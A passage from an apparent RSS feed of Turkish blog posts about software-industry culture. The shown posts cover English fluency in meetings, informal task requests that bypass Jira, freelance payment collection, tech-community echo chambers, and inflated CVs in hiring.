<p>O "İngilizcem C1" diyen geliştiriciyi alın; Londra'daki bir müşterinin, Amerikalı bir ürün yöneticisinin veya Alman bir sistem mimarının karşısına, canlı bir Zoom toplantısına oturtun.</p>
<p>Toplantı başlar. Karşıdaki yabancı yönetici konuşmaya başlar:<br>
<em>"Ekibin son sprint'teki mimari yaklaşımını biraz riskli buluyoruz. Bize mikroservis yerine monolit kalmamız gerektiğini söylüyorsunuz ama yönetim kurulu bunu onaylamayabilir. Neden bu riski alalım? Bizi ikna edin."</em></p>
<p>O an ne olur biliyor musunuz?<br>
O masada, kendi ana dilinde fırtınalar estiren, sabahlara kadar harika kodlar yazan dahi mühendisimizin boğazına bir yumruk oturur.<br>
Gözleri kaçırır. Zihninde Türkçe düşündüğü o derin mimari argümanları İngilizceye çevirmeye çalışır. Kelimeler düğümlenir:<br>
<em>"Because... uh... monolit is... you know... simple... and... Kafka is expensive... so... yes."</em></p>
<p>Karşıdaki yönetici ne anlar?<br>
Karşıdaki yönetici onun zihnindeki o muazzam dehadan habersizdir. Karşısında sadece kekeleyen, kendine güveni olmayan, fikrini savunamayan ve pasif bir "kod hamalı" görür.</p>
<p>Ve o toplantının sonunda mimariyi yönetici belirler, teslim süresini müşteri dikte eder, bizim dahi mühendisimiz ise istemediği bir kararın altında ezilmeye devam eder.</p>
<h3>Kod Evrenseldir Ama Para Dille Kazanılır</h3>
<p>Teknoloji dünyasının en büyük yalanı şudur: <em>"Kodun dili evrenseldir, önemli olan yazdığın koddur."</em></p>
<p>Hayır. Kod sadece işin icraat kısmıdır.<br>
Ama o kodun değerini belirleyen, o projenin bütçesini çizen, teslim tarihini belirleyen ve masadaki şartları koyan şey; <strong>masadaki retorik, özgüven ve pazarlık dilidir.</strong></p>
<p>Eğer İngilizceyi sadece pasif bir okuma aracı olarak bırakırsanız; dünyadaki en yetenekli mühendis bile olsanız, küresel sistemde Hindistan'daki fason yazılım fabrikalarından farksız birer <strong>"ucuz iş gücü"</strong> olarak kalmaya mahkûm olursunuz. Saati 15 dolara başkalarının hayallerini kodlarsınız.</p>
<p>Ama eğer fikrinizi bir toplantıda savunabilecek, haksız bir revizyon talebine diplomatik bir incelikle <em>"Hayır, bu kapsam sözleşmemizin dışındadır ve projenin mimari bütünlüğünü bozar"</em> diyebilecek akıcılığa ve aksan özgüvenine sahipseniz; işte o zaman fasoncu değil, <strong>masada sözü dinlenen küresel bir ortak</strong> olursunuz.</p>
<h3>Aksan Kompleksinden Kurtulun</h3>
<p>Türkiye'deki geliştiricilerin bu bariyeri aşamamasının en büyük sebebi gramer eksikliği değil; <strong>hastalıklı bir aksan ve hata yapma korkusudur.</strong></p>
<p>Bir Fransız veya bir İtalyan mühendisi dinleyin: İngilizceyi berbat bir aksanla, gramer hatalarıyla konuşur; ama gözünüzün içine dimdik bakarak, zerre kadar utanmadan fikrini çatır çatır savunur.</p>
<p>Bizim gençlerimiz ise <em>"Acaba geçmiş zaman kipini yanlış mı kullandım, acaba kelimeyi Türk gibi mi telaffuz ettim"</em> endişesiyle tamamen susmayı tercih eder.</p>
<p>Bu kompleksi derhal çöpe atın:</p>
<ul>
<li>Kimse sizden Shakespeare gibi konuşmanızı beklemiyor. Küresel iş dünyasının dili "Kusursuz İngilizce" değil; <strong>"Açık, net ve özgüvenli İngilizcedir."</strong></li>
<li>Doküman okumayı bir marifet saymayı bırakın. Her gün sesli konuşma pratikleri yapın. Kendi kendinize mimari kararlarınızı İngilizce sesli anlatın.</li>
<li>Yabancı ekiplerle toplantılara girmekten kaçmayın; aksine bilerek o ateşe atlayın. Dil ancak o ateşin içinde pişerek öğrenilir.</li>
</ul>
<p>Kod yazmak sizi bir teknisyen yapar.<br>
Ama o kodun arkasındaki fikri dünyaya anlatabilmek ve masada hakkınızı söke söke alabilmek; sizi gerçek bir dünya mühendisi yapar.</p>
<p>Dokümanların arkasına saklanmayı bırakın.<br>
Sesinizi yükseltin ve masadaki yerinizi alın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>ingilizce</category>
            <category>kariyer</category>
            <category>iletisim</category>
            <category>global-pazar</category>
            <category>turkiye</category>
            <category>yazilim-sektoru</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ingilizce-biliyorum-illuzyonu-dokuman-okumak-vs-musteriyle-tartisabilmek/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Bi' Bakıver" Kültürü: Task / Ticket Sistemlerinin Yerel İletişimle Delinmesi]]></title>
            <link>http://localhost:3000/blog/post/bi-bakiver-kulturu-task--ticket-sistemlerinin-yerel-iletisimle-delinmesi</link>
            <guid>bi-bakiver-kulturu-task--ticket-sistemlerinin-yerel-iletisimle-delinmesi</guid>
            <pubDate>Wed, 15 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Jira veya Linear gibi profesyonel araçlar kurulsa bile; yöneticilerin Slack veya WhatsApp'tan "Kanka şuna bi' baksana, iki dakikalık iş" diyerek tüm sprint planını sabote etmesinin yerel anatomisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/bi-bakiver-kulturu-task--ticket-sistemlerinin-yerel-iletisimle-delinmesi/thumbnail" alt=""> Şirketinizin yönetim masası toplanır. Yurt dışındaki modern şirketlere özenilerek binlerce dolar lisans parası ödenir ve dünyanın en sofistike proje yönetim araçları satın alınır: Jira, Linear, Asana...</p>
<p>Pazartesi sabahı iki saat süren o kutsal "Sprint Planning" (Dönem Planlama) toplantısı yapılır. Her bir özellik incelenir, biletler açılır, kabul kriterleri (acceptance criteria) yazılır, story point'ler tartışılır ve ekibin kapasitesi saniyesine kadar hesaplanıp kilitlenir. Ortam adeta bir İsviçre saat fabrikası kadar disiplinli ve kusursuzdur.</p>
<p>Ama Salı sabahı saat 10:45 olduğunda; Türk iş kültürünün o kadim, sinsi ve önüne çıkan tüm planlamaları yerle bir eden görünmez balyozu devreye girer.</p>
<p>Yöneticiniz veya yan departmandan bir pazarlamacı masanızın kenarına yanaşır (veya Slack'ten o meşhur mesajı atar):<br>
<em>"Kanka müsaitsen şuna bi' bakıversene ya, valla iki dakikalık iş, müşteriye acil lazım."</em></p>
<p>Ve işte o an; pazartesi günü kurulan o binlerce dolarlık Jira mimarisi, Agile manifestoları ve sprint taahhütleri bir çöp torbası gibi pencereden aşağı fırlatılır.</p>
<p>Hoş geldiniz; burası <strong>"Bi' Bakıver Kültürünün"</strong> hüküm sürdüğü yerel teknoloji cehennemidir.</p>
<h3>"İki Dakikalık İş" Efsanesi</h3>
<p>Yazılım sektörünün en büyük yalanı, bir işin "iki dakikalık" olabileceği masalıdır.</p>
<p>O masum görünen <em>"Butonun yerini azıcık sağa kaydırıver"</em> talebi hiçbir zaman iki dakika sürmez:</p>
<ul>
<li>Önce mevcut çalıştığınız o derin, karmaşık algoritmanın başından kalkarsınız. Zihninizdeki o kırılgan odaklanma kalesi (context) tuzla buz olur.</li>
<li>Git'te üzerinde çalıştığınız branch'i stash'lersiniz. Yeni bir branch açarsınız.</li>
<li>Kodu açtığınızda görürsünüz ki o buton, CSS'in en karanlık z-index ve flexbox kurallarıyla birbirine dolanmış 10 farklı bileşene bağlıdır. Sağa kaydırdığınızda mobil arayüz patlar.</li>
<li>O hatayı düzeltirsiniz, test edersiniz, commit atarsınız, CI/CD pipeline'ını beklersiniz...</li>
</ul>
<p>İki dakikalık iş, günün tam üç saatini yutar.</p>
<p>Ama felaket bununla da bitmez. O iş bittiğinde aynı kişi gülümseyerek gelir: <em>"Harikasın ya! Hazır oradayken şu metni de değiştiriversene, bir de rengini lacivert yapalım."</em></p>
<p>Ve gün biter.</p>
<h3>Görünmez Emeğin Kara Deliği</h3>
<p>Cuma günü öğleden sonra "Sprint Review" toplantısı gelir çatar.<br>
Jira tahtası ekrana yansıtılır. Yöneticiniz kaşlarını çatarak size bakar:<br>
<em>"Ahmet, sprint'e aldığımız 5 biletten 3'ü bitmemiş, hâlâ 'In Progress' görünüyor. Neden yetiştiremedin? Bir sorun mu var?"</em></p>
<p>O an boğazınız düğümlenir. Ezilir, büzülürsünüz.<br>
İçinizden haykırmak gelir: <em>"Ben bütün hafta senin ve pazarlamanın WhatsApp'tan attığı o 'bi' bakıver' işleriyle boğuştum!"</em></p>
<p>Ama söyleyemezsiniz; söyleseniz de bir anlamı yoktur. Çünkü Jira tahtasında o harcadığınız 20 saatin tek bir satır resmi kaydı yoktur! O emek şirket sisteminde buharlaşmış, gayriresmi sohbetlerin kara deliğinde yutulmuştur.</p>
<p>Siz bütün hafta şirketin gerçek krizlerini çözmüş, yangın söndürmüşsünüzdür; ama sistemin gözünde <strong>"İşini yetiştiremeyen tembel bir yazılımcı"</strong> olarak yaftalanırsınız.</p>
<h3>Feodal Samimiyet vs. Kurumsal Disiplin</h3>
<p>Bu çarpıklığın kökeni, bizim toplumumuzun kuralları ve süreçleri "soğukluk" veya "bürokrasi"; gayriresmi ilişkileri ise "samimiyet" olarak kodlamasından gelir.</p>
<p>Bir iş arkadaşınıza veya yöneticinize <em>"Bunu Jira'dan bilet olarak açar mısın, sprint planımıza ekleyelim"</em> dediğinizde; karşı taraf bunu profesyonel bir süreç olarak değil, kişisel bir hakaret olarak algılar:<br>
<em>"Aramızda biletin lafı mı olur canım, iki dakikalık şey için prosedürle mi uğraşacağız, yabancı mıyız biz?"</em></p>
<p>İşte feodal kültür ile modern mühendislik disiplini tam bu cümlede çatışır.</p>
<p>Yazılım geliştirme süreci bir kahve ısmarlama jesti değildir. Yazılım; binlerce parçanın birbiriyle konuştuğu, her bir değişikliğin test edilmesi, belgelenmesi ve takip edilmesi gereken matematiksel bir sistemdir. Bir sistemi "arkadaş hatırına" kodlamaya başladığınız an, o sistemin mimarisini çöpe atmışsınızdır.</p>
<h3>Bu Cendereden Nasıl Çıkılır?</h3>
<p>Bir mühendis olarak akıl sağlığınızı ve profesyonel itibarınızı korumak istiyorsanız; "bi' bakıver" kurşunlarına karşı kendinize kurşun geçirmez bir zırh örmek zorundasınız:</p>
<ol>
<li><strong>"Jira'da Olmayan İş, Dünyada Yoktur" Kuralı:</strong> Ne kadar samimi olursanız olun, kapınıza gelen herkese aynı sakin ve sarsılmaz cevabı verin: <em>"Seve seve bakarım. Ama bunu unutmamam ve mevcut işimi bölmemem için hemen Jira'dan bir bilet açıp bana atar mısın?"</em></li>
<li><strong>Kendi Biletinizi Kendiniz Açın:</strong> Eğer yönetici inatla bilet açmıyorsa ve işi yapmanız zorunluysa; o işe başlamadan önce Jira'ya bizzat kendiniz girin: <em>"Ad-hoc Talep: Pazarlamanın acil buton değişikliği (3 saat)"</em> yazıp tahtaya koyun. Emeğinizi görünür kılın.</li>
<li><strong>Maliyetini Masaya Koyun:</strong> Yöneticiniz araya acil bir iş sıkıştırmak istediğinde ona düşmanca değil, rasyonel bir seçenek sunun: <em>"Bu işe şimdi başlarsam, sprint'teki X özelliğini ertelemek zorunda kalacağım. Hangisini öncelememi istersiniz?"</em> Kararın sorumluluğunu ona iade edin.</li>
</ol>
<p>Süreçler insanları yavaşlatmak için değil; insanları kaostan ve haksız suçlamalardan korumak için vardır.</p>
<p>"İki dakikalık" yalanlara teslim olmayı bırakın.<br>
Planınıza, emeğinize ve zanaatınıza sahip çıkın.</p>
<p>Çünkü sınırlarını koruyamayan bir mühendisin kodunu da, kariyerini de eninde sonunda başkalarının kaprisleri yönetir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>jira</category>
            <category>proje-yonetimi</category>
            <category>bi-bakiver</category>
            <category>turkiye</category>
            <category>iletisim</category>
            <category>sprint</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/bi-bakiver-kulturu-task--ticket-sistemlerinin-yerel-iletisimle-delinmesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Türkiye'de Freelance Yapmanın Dayanılmaz Ağırlığı: "Parayı İşe Başlamadan Önce mi, Bitişte mi Alacağız?"]]></title>
            <link>http://localhost:3000/blog/post/turkiyede-freelance-yapmanin-dayanilmaz-agirligi-parayi-ise-baslamadan-once-mi-bitiste-mi-alacagiz</link>
            <guid>turkiyede-freelance-yapmanin-dayanilmaz-agirligi-parayi-ise-baslamadan-once-mi-bitiste-mi-alacagiz</guid>
            <pubDate>Tue, 14 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yerel piyasada serbest çalışan bir geliştiricinin zamanının %30'unu kod yazmaya, %70'ini ise teslim ettiği projenin parasını tahsil etmeye harcamasının ve bitmeyen revizyonların psikolojik dramı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/turkiyede-freelance-yapmanin-dayanilmaz-agirligi-parayi-ise-baslamadan-once-mi-bitiste-mi-alacagiz/thumbnail" alt=""> Dünyanın gelişmiş ekonomilerinde "Freelance" (serbest çalışan) yazılımcı olmak; kendi saatlerini belirleyen, sevdiği projeleri seçen, saatlik yüksek ücretlerle çalışan bağımsız bir zanaatkar olmak demektir.</p>
<p>Peki Türkiye şartlarında freelance yazılımcılık yapmak gerçekte ne anlama gelir?</p>
<p>Gelin o cilalı hayalleri bir kenara bırakalım:<br>
Türkiye'de freelance yazılımcı olmak; <strong>zamanınızın %30'unu kod yazmaya, kalan %70'ini ise teslim ettiğiniz işin parasını tahsil edebilmek için telefonlarda dil dökmeye, yalvarmaya ve sinir krizi geçirmeye harcamak demektir.</strong></p>
<p>Bu topraklarda serbest çalışmak teknik bir meydan okuma değildir; katıksız bir <strong>psikolojik tahsilat ve sabır savaşıdır.</strong></p>
<h3>"Bizde Söz Senettir Kardeşim" Tuzağı</h3>
<p>Hikaye hep aynı şekilde başlar. Masaya oturursunuz. Karşınızda kravatlı bir iş insanı veya "vizyoner" bir tanıdık vardır. Projeyi anlatır, gözleri parlar.</p>
<p>Siz profesyonelce bir sözleşme taslağı çıkarırsınız: Kapsam, teslim tarihleri, ödeme planı ve revizyon sınırları...<br>
Müşteri hafifçe gücenmiş gibi kaşlarını kaldırır:<br>
<em>"Aramızda kâğıdın küreğin lafı mı olur kardeşim? Biz kaç yıllık esnafız, piyasada bizi kime sorsan bilir. Bizde söz senettir. Sen başla, gerisini hallederiz."</em></p>
<p>Eğer bu tuzağa düşer ve tek bir satır kod yazmaya başlarsanız; cehennemin kapılarını kendi ellerinizle aralamışsınız demektir.</p>
<p>Çünkü o "söz senettir" diyen adam;</p>
<ul>
<li>İşe başlamadan önce %30 peşinat istediğinizde <em>"Daha tek satır kod yazmadın, neyin parasını istiyorsun?"</em> diyerek sizi hırsız gibi hissettirecektir.</li>
<li>İşi eksiksiz teslim ettiğinizde ise telefonlarınıza çıkmayacak, WhatsApp mesajlarınıza tek bir mavi tik bırakıp günlerce geri dönmeyecektir.</li>
</ul>
<h3>Türk Usulü Tahsilat Bahane Sözlüğü</h3>
<p>İşi bitirirsiniz, demo sunucusuna yüklersiniz. Müşteri çok beğenir: <em>"Eline sağlık, harika olmuş!"</em><br>
Kalan ödemeyi istersiniz. Ve o an, Türk iş dünyasının o meşhur, zengin ve yaratıcı <strong>Tahsilat Bahaneleri Tiyatrosu</strong> sahnelenmeye başlar:</p>
<ul>
<li><strong>Pazartesi:</strong> <em>"Muhasebecimiz bugün izinde, yarın kesin geçecek."</em></li>
<li><strong>Çarşamba:</strong> <em>"Şirket ortaklarından imza bekliyoruz, genel müdür şehir dışında."</em></li>
<li><strong>Cuma:</strong> <em>"Bugün banka EFT saatini kaçırmışız, pazartesi sabah ilk iş hesabında."</em></li>
<li><strong>Sonraki Hafta:</strong> <em>"Piyasalar bu ara çok durgun biliyorsun, müşterimizden ödeme gelsin sana hemen aktaracağız."</em></li>
</ul>
<p>Siz bir yazılım mühendisisinizdir; ama kendinizi adeta bir mafya tahsilatçısı gibi her gün birilerini arayıp kendi alın terinizin peşinde dilenirken bulursunuz. Cebinizde kiranız tükenir, kredi kartınız patlar; ama o "sözü senet olan" müşteri lüks cipiyle gezmeye devam eder.</p>
<h3>Bitmeyen Revizyon Cehennemi (Scope Creep)</h3>
<p>Parayı alamamak bir yana, freelance yazılımcının yakasını bırakmayan ikinci büyük bela <strong>"Bitmeyen Revizyon Döngüsüdür" (Scope Creep).</strong></p>
<p>Sözleşmesiz başladığınız için projenin sınırları yoktur. Başlangıçta <em>"Basit bir kurumsal tanıtım sitesi"</em> diye anlaştığınız iş, iki ay sonra müşterinin kaprisleriyle devasa bir portala dönüşür:<br>
<em>"Ya Ahmet, bizim kayınço dedi ki buraya bir de canlı chat koysak iyi olurmuş."</em><br>
<em>"Şuraya da yapay zekalı bir ürün arama ekleyiver, zor bir şey değil ya, iki tık tık."</em><br>
<em>"Logonun yerini 14. kez değiştirelim, içime sinmedi."</em></p>
<p>İtiraz ettiğinizde ise aynı zehirli tehdit masaya konur:<br>
<em>"Eğer bunları yapmazsan işi tamamlanmış saymayız, kalan parayı da ödemeyiz!"</em></p>
<p>Yazılımcı rehindir. O güne kadar harcadığı iki aylık emeği çöpe atmamak için, o haksız revizyonları geceler boyu ağlaya zırlaya kodlamaya devam eder.</p>
<h3>Freelancer Hayatta Kalma Kuralları</h3>
<p>Eğer bu topraklarda serbest çalışarak hayatınızı kazanmak ve akıl sağlığınızı korumak istiyorsanız; duygusallığı ve şark usulü samimiyeti çöpe atmak zorundasınız:</p>
<ol>
<li><strong>Peşinatsız Parmak Bile Oynatma:</strong> Masadaki kuralınız net olmalıdır: Proje bedelinin en az <strong>%40'ı veya %50'si</strong> banka hesabınıza yatmadan tek bir dosya bile oluşturmayın. Peşinat vermeyen müşteri, iş bittiğinde size hiç para vermeyecek müşteridir. Peşinat bir güvendir; o parayı ödemeyenle masadan hemen kalkın.</li>
<li><strong>Kapsamı Milimetrik Yaz:</strong> Sözleşmenize nelerin <strong>dahil olduğunu</strong> yazdığınız kadar, nelerin <strong>dahil olmadığını</strong> da yazın: <em>"Bu sözleşme sadece 3 sayfayı kapsar. Ödeme altyapısı dahil değildir. Tasarımda en fazla 2 revizyon hakkı vardır; sonraki her revizyon saatlik 50 dolar ücrete tabidir."</em></li>
<li><strong>Rehini Elinde Tut:</strong> Kalan son ödeme kuruşu kuruşuna hesabınıza geçmeden; kaynak kodları, sunucu şifrelerini veya alan adını asla müşteriye teslim etmeyin. Projeyi kendi sunucunuzda demo yapın. Parayı aldığınız saniye teslimatı yapın.</li>
</ol>
<p>Sizin mesleğiniz bir rica minnet işi değildir. Siz yılların birikimiyle, beyninizi yakarak değer üreten bir zanaatkarsınız.</p>
<p>Kimsenin sizin emeğinizi sömürmesine, sizi kapısında dilendirmesine izin vermeyin.<br>
Sözleşmenizi imzalatın, peşinatınızı alın ve sınırlarınızı çelik gibi koruyun.</p>
<p>Çünkü profesyonellik; iyi niyetle işe başlamakta değil, hakkını koruyarak o işi teslim edebilmektedir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>freelance</category>
            <category>tahsilat</category>
            <category>turkiye</category>
            <category>musteri-yonetimi</category>
            <category>sozlesme</category>
            <category>kariyer</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/turkiyede-freelance-yapmanin-dayanilmaz-agirligi-parayi-ise-baslamadan-once-mi-bitiste-mi-alacagiz/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Teknoloji Topluluklarının (Community) "Kendi Etrafında Dönme" Paradoksu]]></title>
            <link>http://localhost:3000/blog/post/teknoloji-topluluklarinin-community-kendi-etrafinda-donme-paradoksu</link>
            <guid>teknoloji-topluluklarinin-community-kendi-etrafinda-donme-paradoksu</guid>
            <pubDate>Mon, 13 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Türkiye'deki teknoloji topluluklarında düzenlenen meet-up'lar ve konferanslar. Her etkinlikte aynı kişilerin sahneye çıkması, kusursuzluk masalları ile kaotik prod ortamları arasındaki sessiz uçurum.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/teknoloji-topluluklarinin-community-kendi-etrafinda-donme-paradoksu/thumbnail" alt=""> Hafta sonu veya bir Perşembe akşamı, büyük bir üniversitenin amfisinde ya da havalı bir kurumsal şirketin etkinlik salonunda düzenlenen o meşhur "Teknoloji Meet-up"larından birine adım atarsınız.</p>
<p>Girişte bedava pizzalar, enerji içecekleri, masaların üzerine saçılmış yüzlerce parlak laptop sticker'ı...<br>
Gençler birbirine kartvizit veya LinkedIn QR kodlarını uzatır: <em>"Hangi şirkettesin?", "Hangi dille yazıyorsun?", "Network yapalım."</em></p>
<p>Işıklar söner. Sahnede devasa LED ekranda afili bir sunum başlar:<br>
<em>"Büyük Ölçekli Sistemlerde Event-Driven Mimari ve Sıfır Kesinti (Zero-Downtime) Kültürü."</em></p>
<p>Konuşmacı sahnede fırtınalar estirir:</p>
<ul>
<li>%100 birim test kapsamı (test coverage),</li>
<li>Kusursuz TDD süreçleri,</li>
<li>Continuous Delivery boru hatları,</li>
<li>İnsana değer veren, herkesin birbirini alkışladığı rüya gibi bir mühendislik kültürü...</li>
</ul>
<p>Salondaki gençler büyülenmiş gibi alkışlar. Herkes o şirketi bir cennet, sahnedeki konuşmacıyı da fildişi kuleden inmiş bir peygamber zanneder.</p>
<p>Peki o sahne kapandıktan sonra, o sunumu yapan şirketin gerçek prod ortamına veya Slack kanallarına girdiğinizde neyle karşılaşırsınız biliyor musunuz?<br>
Tam bir enkazla!</p>
<h3>Sahnede "Kusursuz Mimari", Canlıda "Kan ve Gözyaşı"</h3>
<p>Gelin kimsenin yüksek sesle söylemeye cesaret edemediği o büyük sırrı fısıldayalım:<br>
<strong>Sahnede anlatılan masallar ile gerçek sahadaki kod tabanı arasında Işık Yılı kadar derin bir uçurum vardır.</strong></p>
<p>O sahnede <em>"Biz her gün 50 kez production'a çıkıyoruz, sıfır hata alıyoruz"</em> diyen şirketin mühendisleri; aslında her cuma akşamı deployment korkusundan uykusuz kalıyordur.<br>
<em>"Bizde test yazılmadan tek satır kod merge edilemez"</em> diye slayt atan o Lead Developer; şirkette patronun zoruyla biletleri yetiştirebilmek için testleri devre dışı bırakan <code>--skip-tests</code> parametresini pipeline'a bizzat kendi elleriyle eklemiştir.<br>
<em>"İnsana değer veren kültürümüz"</em> diye övünen kurucunun ofisinde; çalışanlar gece 03:00'te ücretsiz mesaiye zorlanıyor, mobbing altında eziliyordur.</p>
<p>Ama sahnede herkes melektir. Herkes Silicon Valley standardındadır.</p>
<p>Topluluk etkinlikleri, ne yazık ki gerçek mühendislik sorunlarının ve başarısızlıkların dürüstçe masaya yatırıldığı bir öğrenme ocağı olmaktan çıktı; <strong>şirketlerin PR yaptığı, konuşmacıların kendi kişisel egosunu parlattığı birer kurumsal illüzyon tiyatrosuna</strong> dönüştü.</p>
<h3>Aynı 20 Kişinin Kendi Etrafında Döndüğü Kısır Döngü (Echo Chamber)</h3>
<p>Türkiye'deki teknoloji etkinliklerini bir yıl boyunca takip edin. Şaşırtıcı bir gerçekle karşılaşırsınız:<br>
İster bulut bilişim zirvesi olsun, ister frontend meet-up'ı, ister yapay zeka paneli...</p>
<p>Sahnede hep <strong>aynı 15-20 kişi</strong> vardır!</p>
<p>Birbirlerine plaket verirler, birbirlerinin panellerine konuk olurlar, Twitter'da birbirlerinin tweet'lerini RT'lerler, birbirlerine <em>"Harika bir etkinlikti üstat"</em> diyerek övgüler yağdırırlar. Kendi aralarında kapalı, dışarıya kapalı, steril ve son derece kibirli bir feodal klan kurmuşlardır.</p>
<p>Dışarıdan gelen, Anadolu'dan katılan, gerçekten özgün bir problem çözmüş ama popüler olmayan genç bir mühendisin o sahnelerde yer bulabilmesi imkânsızdır. Çünkü sistem liyakatle değil; o topluluk baronlarıyla aranızdaki "networking" samimiyetiyle işler.</p>
<p>Buna sosyolojide <strong>"Echo Chamber" (Yankı Odası)</strong> veya daha kaba tabiriyle <strong>"Kendi Etrafında Dönme Paradoksu"</strong> denir.<br>
Herkes birbirini onaylar, herkes birbirine alkış tutar ama ortada gerçek bir üretim, gerçek bir katma değer ve samimi bir bilgi transferi yoktur.</p>
<h3>Gerçek Bir Topluluk Ne Konuşmalıdır?</h3>
<p>Tıpta M&#x26;M (Morbidite ve Mortalite) konferanslarından bahsetmiştim. Hekimler o kapalı odalarda yaptıkları başarılı ameliyatları anlatıp birbirlerini alkışlamazlar; <strong>kaybettikleri hastaları, yaptıkları teşhis hatalarını ve sistemik zaafları</strong> soğukkanlılıkla masaya yatırırlar. Çünkü tıp ancak hatalarla yüzleşerek ilerler.</p>
<p>Yazılım topluluklarının da acilen bu olgunluğa ihtiyacı var:</p>
<ul>
<li>Bize sisteminizi nasıl kusursuz kurduğunuzu anlatmayın; <strong>geçen ay canlı veritabanını nasıl sildiğinizi ve o krizden nasıl çıktığınızı anlatın.</strong></li>
<li>Bize Clean Code vaazları vermeyin; <strong>o teknik borç batağına nasıl saplandığınızı ve o enkazı temizlerken hangi bedelleri ödediğinizi anlatın.</strong></li>
<li>Sahneye çıkıp başarı pornosu sergilemeyin; arkadaki gençlerin elinden tutun, onlara sahadaki çıplak gerçekleri ve başarısızlıkları anlatın.</li>
</ul>
<p>Pizzalar biter. Sticker'lar eskir.<br>
Sahnede atılan o havalı nutuklar iki gün sonra unutulur.</p>
<p>Geriye sadece şu kalır:<br>
Bir problemle karşılaştığında seni yalnız bırakmayan, başarısız olduğunda seni linç etmek yerine omzuna dokunan ve sahici olan o dürüst insanların yoldaşlığı.</p>
<p>Tiyatroyu bırakın.<br>
Gerçek sahaya ve samimi üretime dönün.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>topluluk</category>
            <category>community</category>
            <category>meetup</category>
            <category>turkiye</category>
            <category>yazilim-kulturu</category>
            <category>networking</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/teknoloji-topluluklarinin-community-kendi-etrafinda-donme-paradoksu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["CV'deki Yalanlar" ve Mülakatta Performans Sanatı: Kimse Gerçek Mimariden Bahsetmiyor]]></title>
            <link>http://localhost:3000/blog/post/cvdeki-yalanlar-ve-mulakatta-performans-sanati-kimse-gercek-mimariden-bahsetmiyor</link>
            <guid>cvdeki-yalanlar-ve-mulakatta-performans-sanati-kimse-gercek-mimariden-bahsetmiyor</guid>
            <pubDate>Sun, 12 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Şirketlerin mülakatlarda imkânsız teknolojiler sorması üzerine adayların CV'lerini abartılı buzzword'lerle doldurması. Mülakat sürecinin bir teknik ölçümden çıkıp karşılıklı bir tiyatroya dönüşmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cvdeki-yalanlar-ve-mulakatta-performans-sanati-kimse-gercek-mimariden-bahsetmiyor/thumbnail" alt=""> Modern teknoloji sektörünün en kurumsal, en ciddi ve aynı zamanda en komik tiyatro oyununa hoş geldiniz: <strong>Teknik İşe Alım Mülakatları.</strong></p>
<p>Bu süreç öyle bir karşılıklı yalan ve performans sanatına dönüşmüştür ki; iki taraf da birbirinin yalan söylediğini bilir, iki taraf da gerçeğin bu olmadığını bilir ama yine de hiç kimse rolünü bozmaz. Perde açılır, replikler ezbere okunur, alkışlar tutulur ve oyun biter.</p>
<p>Gelin bu trajikomik tiyatronun perde arkasını birlikte aralayalım.</p>
<h3>Birinci Perde: İlan Metnindeki İmkânsız Fantezi</h3>
<p>Oyun, şirketin açtığı iş ilanıyla başlar. Başlık: <em>"Mid-Level Full-Stack Geliştirici"</em>.<br>
İlanın aradığı yetkinlikler listesine bakarsınız; sanki tek bir insan değil, koca bir NASA mühendislik departmanı aranıyordur:<br>
<em>"En az 5 yıl React, Vue ve Angular tecrübesi. Çok iyi derecede Go, Rust ve Python. Kubernetes cluster'larını sıfırdan kurup yönetebilen, Kafka ile yüksek hacimli veri işleyen, Terraform ile altyapı kodlayan, CI/CD pipeline'larını optimize eden, siber güvenlik penetrasyon testlerini yürüten ve tercihen yapay zeka LLM modelleri eğitebilen..."</em></p>
<p>Bu ilanı yazan İK uzmanının veya şirketin, bu teknolojilerin ne anlama geldiğine dair en ufak bir fikri yoktur. Şirketteki gerçek iş ise; WordPress benzeri basit bir içerik yönetim panelindeki butonların yerini değiştirmek ve Excel'den gelen fatura verilerini bir MySQL tablosuna yazdırmaktan ibarettir!</p>
<p>Ama ilan Silicon Valley devi gibi yazılmak zorundadır; çünkü kurumsal kibir bunu gerektirir.</p>
<h3>İkinci Perde: CV'deki Zorunlu Yalanlar</h3>
<p>Piyasada bu imkânsız ilanı gören 24 yaşındaki genç mühendis ne yapar?<br>
Eğer dürüst davranıp CV'sine sadece gerçekten uzman olduğu şeyleri yazarsa (örneğin: <em>"JavaScript'i iyi bilirim, temiz bir REST API yazarım, Postgres'te sorgu atarım"</em>); o CV şirketin otomatik yapay zeka filtresini bile aşamaz. Çöpe atılır.</p>
<p>Hayatta kalabilmek için oyunun kuralına uymak zorundadır:<br>
Bir hafta sonu YouTube'da 20 dakikalık bir videosunu izlediği Rust dilini CV'sine <em>"Proficient"</em> olarak ekler. Kendi bilgisayarında bir kez Docker container'ı ayağa kaldırmıştır; CV'ye <em>"Kubernetes &#x26; Cloud Orchestration Uzmanı"</em> yazar.</p>
<p>Yalan, sistemin zorunlu kıldığı bir hayatta kalma refleksine dönüşmüştür.</p>
<h3>Üçüncü Perde: Canlı Mülakatta Akıl Tutulması</h3>
<p>Ve büyük gün gelir: Canlı teknik mülakat.</p>
